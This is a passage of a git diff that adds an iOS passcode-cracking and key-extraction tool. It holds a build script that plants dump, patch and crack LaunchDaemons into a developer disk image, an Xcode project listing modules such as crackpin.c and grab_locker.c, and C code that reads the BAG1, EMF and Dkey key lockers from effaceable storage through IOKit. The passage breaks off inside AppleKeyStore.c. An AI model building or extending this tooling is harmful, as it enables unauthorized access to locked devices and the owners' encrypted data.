./dump/dump/com.sudo-sec.dump.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.dump.plist +sudo cp ./patch/patch/com.sudo-sec.patch.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.patch.plist +sudo cp ./crack/crack/com.sudo-sec.crack.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.crack.plist + +# Unmount and convert to UDRO +sudo hdiutil detach /Volumes/DDI +sudo hdiutil convert -format UDRO -o ddi.dmg udrw.dmg + +echo "Done, copy ddi.dmg over to SudoPunch" diff --git a/crack/crack.xcodeproj/project.pbxproj b/crack/crack.xcodeproj/project.pbxproj new file mode 100644 index 0000000..2b2583e --- /dev/null +++ b/crack/crack.xcodeproj/project.pbxproj @@ -0,0 +1,458 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A6E7407188EF31A000D650F /* AppleEffaceableStorage.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73E4188EF31A000D650F /* AppleEffaceableStorage.c */; }; + 8A6E7408188EF31A000D650F /* AppleKeyStore_kdf.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73E6188EF31A000D650F /* AppleKeyStore_kdf.c */; }; + 8A6E7409188EF31A000D650F /* AppleKeyStore.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73E7188EF31A000D650F /* AppleKeyStore.c */; }; + 8A6E740A188EF31A000D650F /* key_wrap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73EA188EF31A000D650F /* key_wrap.c */; }; + 8A6E740B188EF31A000D650F /* pbkdf2.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73EC188EF31A000D650F /* pbkdf2.c */; }; + 8A6E740C188EF31A000D650F /* rijndael.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73EE188EF31A000D650F /* rijndael.c */; }; + 8A6E740D188EF31A000D650F /* sha1.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F0188EF31A000D650F /* sha1.c */; }; + 8A6E740E188EF31A000D650F /* crack.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F2188EF31A000D650F /* crack.c */; }; + 8A6E740F188EF31A000D650F /* crackpin.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F5188EF31A000D650F /* crackpin.c */; }; + 8A6E7411188EF31A000D650F /* grab_locker.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73F9188EF31A000D650F /* grab_locker.c */; }; + 8A6E7412188EF31A000D650F /* grab_system.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73FA188EF31A000D650F /* grab_system.c */; }; + 8A6E7413188EF31A000D650F /* ioaes.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73FB188EF31A000D650F /* ioaes.c */; }; + 8A6E7414188EF31A000D650F /* IOAESAccelerator.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73FD188EF31A000D650F /* IOAESAccelerator.c */; }; + 8A6E7415188EF31A000D650F /* ioflash.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7400188EF31A000D650F /* ioflash.c */; }; + 8A6E7416188EF31A000D650F /* ioflash_kernel.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7402188EF31A000D650F /* ioflash_kernel.c */; }; + 8A6E7417188EF31A000D650F /* IOKit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7403188EF31A000D650F /* IOKit.c */; }; + 8A6E7418188EF31A000D650F /* registry.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7405188EF31A000D650F /* registry.c */; }; + 8A6E743B188EFE0A000D650F /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E743A188EFE0A000D650F /* CoreFoundation.framework */; }; + 8A6E745E188F03BA000D650F /* device_info.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E745C188F03BA000D650F /* device_info.c */; }; + 8A6E7461188F0403000D650F /* util.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E745F188F0402000D650F /* util.c */; }; + 8AB037D818DDEAD5001AC096 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E743C188EFE20000D650F /* IOKit.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A6E73B8188EF10B000D650F /* crack */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = crack; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A6E73BD188EF10B000D650F /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A6E73BE188EF10B000D650F /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A6E73C0188EF10B000D650F /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A6E73C3188EF10B000D650F /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A6E73E4188EF31A000D650F /* AppleEffaceableStorage.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = AppleEffaceableStorage.c; sourceTree = ""; }; + 8A6E73E5188EF31A000D650F /* AppleEffaceableStorage.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppleEffaceableStorage.h; sourceTree = ""; }; + 8A6E73E6188EF31A000D650F /* AppleKeyStore_kdf.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = AppleKeyStore_kdf.c; sourceTree = ""; }; + 8A6E73E7188EF31A000D650F /* AppleKeyStore.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = AppleKeyStore.c; sourceTree = ""; }; + 8A6E73E8188EF31A000D650F /* AppleKeyStore.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppleKeyStore.h; sourceTree = ""; }; + 8A6E73EA188EF31A000D650F /* key_wrap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = key_wrap.c; sourceTree = ""; }; + 8A6E73EB188EF31A000D650F /* key_wrap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = key_wrap.h; sourceTree = ""; }; + 8A6E73EC188EF31A000D650F /* pbkdf2.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pbkdf2.c; sourceTree = ""; }; + 8A6E73ED188EF31A000D650F /* pbkdf2.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pbkdf2.h; sourceTree = ""; }; + 8A6E73EE188EF31A000D650F /* rijndael.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = rijndael.c; sourceTree = ""; }; + 8A6E73EF188EF31A000D650F /* rijndael.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = rijndael.h; sourceTree = ""; }; + 8A6E73F0188EF31A000D650F /* sha1.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = sha1.c; sourceTree = ""; }; + 8A6E73F1188EF31A000D650F /* sha1.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = sha1.h; sourceTree = ""; }; + 8A6E73F2188EF31A000D650F /* crack.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = crack.c; sourceTree = ""; }; + 8A6E73F3188EF31A000D650F /* crack.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = crack.h; sourceTree = ""; }; + 8A6E73F4188EF31A000D650F /* com.sudo-sec.crack.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "com.sudo-sec.crack.plist"; sourceTree = ""; }; + 8A6E73F5188EF31A000D650F /* crackpin.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = crackpin.c; sourceTree = ""; }; + 8A6E73F6188EF31A000D650F /* crackpin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = crackpin.h; sourceTree = ""; }; + 8A6E73F9188EF31A000D650F /* grab_locker.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = grab_locker.c; sourceTree = ""; }; + 8A6E73FA188EF31A000D650F /* grab_system.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = grab_system.c; sourceTree = ""; }; + 8A6E73FB188EF31A000D650F /* ioaes.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ioaes.c; sourceTree = ""; }; + 8A6E73FC188EF31A000D650F /* ioaes.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ioaes.h; sourceTree = ""; }; + 8A6E73FD188EF31A000D650F /* IOAESAccelerator.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOAESAccelerator.c; sourceTree = ""; }; + 8A6E73FE188EF31A000D650F /* IOAESAccelerator.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOAESAccelerator.h; sourceTree = ""; }; + 8A6E7400188EF31A000D650F /* ioflash.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ioflash.c; sourceTree = ""; }; + 8A6E7401188EF31A000D650F /* ioflash.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ioflash.h; sourceTree = ""; }; + 8A6E7402188EF31A000D650F /* ioflash_kernel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ioflash_kernel.c; sourceTree = ""; }; + 8A6E7403188EF31A000D650F /* IOKit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOKit.c; sourceTree = ""; }; + 8A6E7404188EF31A000D650F /* IOKit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOKit.h; sourceTree = ""; }; + 8A6E7405188EF31A000D650F /* registry.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = registry.c; sourceTree = ""; }; + 8A6E7406188EF31A000D650F /* registry.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = registry.h; sourceTree = ""; }; + 8A6E743A188EFE0A000D650F /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 8A6E743C188EFE20000D650F /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; }; + 8A6E745C188F03BA000D650F /* device_info.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = device_info.c; sourceTree = ""; }; + 8A6E745D188F03BA000D650F /* device_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = device_info.h; sourceTree = ""; }; + 8A6E745F188F0402000D650F /* util.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = util.c; sourceTree = ""; }; + 8A6E7460188F0402000D650F /* util.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = util.h; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A6E73B5188EF10B000D650F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8AB037D818DDEAD5001AC096 /* IOKit.framework in Frameworks */, + 8A6E743B188EFE0A000D650F /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A6E73AF188EF10B000D650F = { + isa = PBXGroup; + children = ( + 8A6E73BA188EF10B000D650F /* crack */, + 8A6E73B9188EF10B000D650F /* Products */, + 8A6E743E188EFE49000D650F /* Frameworks */, + ); + sourceTree = ""; + }; + 8A6E73B9188EF10B000D650F /* Products */ = { + isa = PBXGroup; + children = ( + 8A6E73B8188EF10B000D650F /* crack */, + ); + name = Products; + sourceTree = ""; + }; + 8A6E73BA188EF10B000D650F /* crack */ = { + isa = PBXGroup; + children = ( + 8A6E7462188F0410000D650F /* misc */, + 8A6E742B188EF3E3000D650F /* info */, + 8A6E742A188EF3A5000D650F /* kapi */, + 8A6E742C188EF40A000D650F /* crypt */, + 8A6E73F2188EF31A000D650F /* crack.c */, + 8A6E73F3188EF31A000D650F /* crack.h */, + 8A6E73BB188EF10B000D650F /* Package */, + 8A6E73BF188EF10B000D650F /* Supporting Files */, + ); + path = crack; + sourceTree = ""; + }; + 8A6E73BB188EF10B000D650F /* Package */ = { + isa = PBXGroup; + children = ( + 8A6E73BC188EF10B000D650F /* DEBIAN */, + 8A6E73C1188EF10B000D650F /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A6E73BC188EF10B000D650F /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A6E73BD188EF10B000D650F /* control.txt */, + 8A6E73BE188EF10B000D650F /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A6E73BF188EF10B000D650F /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A6E73C0188EF10B000D650F /* PackageVersion.plist */, + 8A6E73F4188EF31A000D650F /* com.sudo-sec.crack.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A6E73C1188EF10B000D650F /* usr */ = { + isa = PBXGroup; + children = ( + 8A6E73C2188EF10B000D650F /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A6E73C2188EF10B000D650F /* bin */ = { + isa = PBXGroup; + children = ( + 8A6E73C3188EF10B000D650F /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A6E73E9188EF31A000D650F /* bsdcrypto */ = { + isa = PBXGroup; + children = ( + 8A6E73EA188EF31A000D650F /* key_wrap.c */, + 8A6E73EB188EF31A000D650F /* key_wrap.h */, + 8A6E73EC188EF31A000D650F /* pbkdf2.c */, + 8A6E73ED188EF31A000D650F /* pbkdf2.h */, + 8A6E73EE188EF31A000D650F /* rijndael.c */, + 8A6E73EF188EF31A000D650F /* rijndael.h */, + 8A6E73F0188EF31A000D650F /* sha1.c */, + 8A6E73F1188EF31A000D650F /* sha1.h */, + ); + path = bsdcrypto; + sourceTree = ""; + }; + 8A6E73FF188EF31A000D650F /* ioflash */ = { + isa = PBXGroup; + children = ( + 8A6E7400188EF31A000D650F /* ioflash.c */, + 8A6E7401188EF31A000D650F /* ioflash.h */, + 8A6E7402188EF31A000D650F /* ioflash_kernel.c */, + ); + path = ioflash; + sourceTree = ""; + }; + 8A6E742A188EF3A5000D650F /* kapi */ = { + isa = PBXGroup; + children = ( + 8A6E7403188EF31A000D650F /* IOKit.c */, + 8A6E7404188EF31A000D650F /* IOKit.h */, + 8A6E73FD188EF31A000D650F /* IOAESAccelerator.c */, + 8A6E73FE188EF31A000D650F /* IOAESAccelerator.h */, + 8A6E73E4188EF31A000D650F /* AppleEffaceableStorage.c */, + 8A6E73E5188EF31A000D650F /* AppleEffaceableStorage.h */, + 8A6E73E6188EF31A000D650F /* AppleKeyStore_kdf.c */, + 8A6E73E7188EF31A000D650F /* AppleKeyStore.c */, + 8A6E73E8188EF31A000D650F /* AppleKeyStore.h */, + ); + name = kapi; + sourceTree = ""; + }; + 8A6E742B188EF3E3000D650F /* info */ = { + isa = PBXGroup; + children = ( + 8A6E745C188F03BA000D650F /* device_info.c */, + 8A6E745D188F03BA000D650F /* device_info.h */, + 8A6E73F9188EF31A000D650F /* grab_locker.c */, + 8A6E73FA188EF31A000D650F /* grab_system.c */, + 8A6E7405188EF31A000D650F /* registry.c */, + 8A6E7406188EF31A000D650F /* registry.h */, + 8A6E73FF188EF31A000D650F /* ioflash */, + ); + name = info; + sourceTree = ""; + }; + 8A6E742C188EF40A000D650F /* crypt */ = { + isa = PBXGroup; + children = ( + 8A6E73F5188EF31A000D650F /* crackpin.c */, + 8A6E73F6188EF31A000D650F /* crackpin.h */, + 8A6E73FB188EF31A000D650F /* ioaes.c */, + 8A6E73FC188EF31A000D650F /* ioaes.h */, + 8A6E73E9188EF31A000D650F /* bsdcrypto */, + ); + name = crypt; + sourceTree = ""; + }; + 8A6E743E188EFE49000D650F /* Frameworks */ = { + isa = PBXGroup; + children = ( + 8A6E743C188EFE20000D650F /* IOKit.framework */, + 8A6E743A188EFE0A000D650F /* CoreFoundation.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; + 8A6E7462188F0410000D650F /* misc */ = { + isa = PBXGroup; + children = ( + 8A6E745F188F0402000D650F /* util.c */, + 8A6E7460188F0402000D650F /* util.h */, + ); + name = misc; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A6E73B7188EF10B000D650F /* crack */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A6E73C8188EF10B000D650F /* Build configuration list for PBXNativeTarget "crack" */; + buildPhases = ( + 8A6E73B4188EF10B000D650F /* Sources */, + 8A6E73B5188EF10B000D650F /* Frameworks */, + 8A6E73B6188EF10B000D650F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = crack; + productName = crack; + productReference = 8A6E73B8188EF10B000D650F /* crack */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A6E73B0188EF10B000D650F /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A6E73B3188EF10B000D650F /* Build configuration list for PBXProject "crack" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A6E73AF188EF10B000D650F; + productRefGroup = 8A6E73B9188EF10B000D650F /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A6E73B7188EF10B000D650F /* crack */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A6E73B6188EF10B000D650F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A6E73B4188EF10B000D650F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7409188EF31A000D650F /* AppleKeyStore.c in Sources */, + 8A6E740E188EF31A000D650F /* crack.c in Sources */, + 8A6E7461188F0403000D650F /* util.c in Sources */, + 8A6E740A188EF31A000D650F /* key_wrap.c in Sources */, + 8A6E740B188EF31A000D650F /* pbkdf2.c in Sources */, + 8A6E7413188EF31A000D650F /* ioaes.c in Sources */, + 8A6E7408188EF31A000D650F /* AppleKeyStore_kdf.c in Sources */, + 8A6E7416188EF31A000D650F /* ioflash_kernel.c in Sources */, + 8A6E740D188EF31A000D650F /* sha1.c in Sources */, + 8A6E740F188EF31A000D650F /* crackpin.c in Sources */, + 8A6E7414188EF31A000D650F /* IOAESAccelerator.c in Sources */, + 8A6E740C188EF31A000D650F /* rijndael.c in Sources */, + 8A6E7417188EF31A000D650F /* IOKit.c in Sources */, + 8A6E7415188EF31A000D650F /* ioflash.c in Sources */, + 8A6E7418188EF31A000D650F /* registry.c in Sources */, + 8A6E7411188EF31A000D650F /* grab_locker.c in Sources */, + 8A6E745E188F03BA000D650F /* device_info.c in Sources */, + 8A6E7412188EF31A000D650F /* grab_system.c in Sources */, + 8A6E7407188EF31A000D650F /* AppleEffaceableStorage.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A6E73C6188EF10B000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A6E73C7188EF10B000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A6E73C9188EF10B000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A6E73CA188EF10B000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A6E73B3188EF10B000D650F /* Build configuration list for PBXProject "crack" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73C6188EF10B000D650F /* Debug */, + 8A6E73C7188EF10B000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A6E73C8188EF10B000D650F /* Build configuration list for PBXNativeTarget "crack" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73C9188EF10B000D650F /* Debug */, + 8A6E73CA188EF10B000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A6E73B0188EF10B000D650F /* Project object */; +} diff --git a/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme new file mode 100644 index 0000000..cb133c8 --- /dev/null +++ b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..6d34cbc --- /dev/null +++ b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + crack.xcscheme + + orderHint + 2 + + + SuppressBuildableAutocreation + + 8A6E73B7188EF10B000D650F + + primary + + + + + diff --git a/crack/crack/AppleEffaceableStorage.c b/crack/crack/AppleEffaceableStorage.c new file mode 100644 index 0000000..dd8c8e2 --- /dev/null +++ b/crack/crack/AppleEffaceableStorage.c @@ -0,0 +1,67 @@ +#include +#include +#include +#include + +#include "IOKit.h" +#include "AppleEffaceableStorage.h" + +int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len) { + uint64_t outScalar = 0; + uint32_t one = 1; + uint64_t inScalar = lockerId; + + return IOKit_call("AppleEffaceableStorage", + kAppleEffaceableStorageGetLocker, + &inScalar, + 1, + NULL, + 0, + &outScalar, + &one, + buffer, + &len); +} + +int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len) +{ + const uint64_t offset = 0; + + return IOKit_call("AppleEffaceableStorage", + kAppleEffaceableStorageGetBytes, + &offset, + 1, + NULL, + 0, + NULL, + NULL, + buffer, + &len); +} + + +int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len) +{ + struct EffaceableLocker* p = (struct EffaceableLocker*) lockers; + unsigned int i=0; + + while (i < lockers_len) + { + printf("p->magic=%x\n", p->magic); + if (p->magic != 0x4c6B)//'Lk') //0x4c6B + break; + if (p->len == 0 || ((i+8+p->len) > lockers_len)) + break; + printf("p->tag=%x\n", p->tag); + if ((p->tag & ~0x80000000) == tag) + { + len = len < p->len ? len : p->len; + memcpy(buffer, p->data, len); + return 0; + } + i = i + 8 + p->len; + p = (struct EffaceableLocker*) (&lockers[i]); + } + return -1; + +} diff --git a/crack/crack/AppleEffaceableStorage.h b/crack/crack/AppleEffaceableStorage.h new file mode 100644 index 0000000..009bca3 --- /dev/null +++ b/crack/crack/AppleEffaceableStorage.h @@ -0,0 +1,40 @@ +/* +AppleEffaceableStorage +0 : getCapacity +1 : getBytes (kernel debug) +2 : setBytes (kernel debug) +3 : isFormatted +4 : format +5 : getLocker +6 : setLocker +7 : effaceLocker +8 : lockerSpace +*/ +#define kAppleEffaceableStorageGetBytes 1 +#define kAppleEffaceableStorageGetLocker 5 + + +#define LOCKER_DKEY 0x446B6579 +#define LOCKER_EMF 0x454D4621 +#define LOCKER_BAG1 0x42414731 +#define LOCKER_LWVM 0x4C77564d + +struct EffaceableLocker +{ + unsigned short magic; //0x4c6B = "kL" + unsigned short len; + unsigned int tag; //BAG1, EMF, Dkey, DONE + unsigned char data[1]; +}; + +struct BAG1Locker +{ + unsigned int magic;//'BAG1'; + unsigned char iv[16]; + unsigned char key[32]; +}; + +int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len); +int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len); +int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len); + diff --git a/crack/crack/AppleKeyStore.c b/crack/crack/AppleKeyStore.c new file mode 100644 index 0000000..edeb209 --- /dev/null +++ b/crack/crack/AppleKeyStore.c @@ -0,0 +1,321 @@ +#include +#include +#include + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +#include "util.h" + +CFDictionaryRef 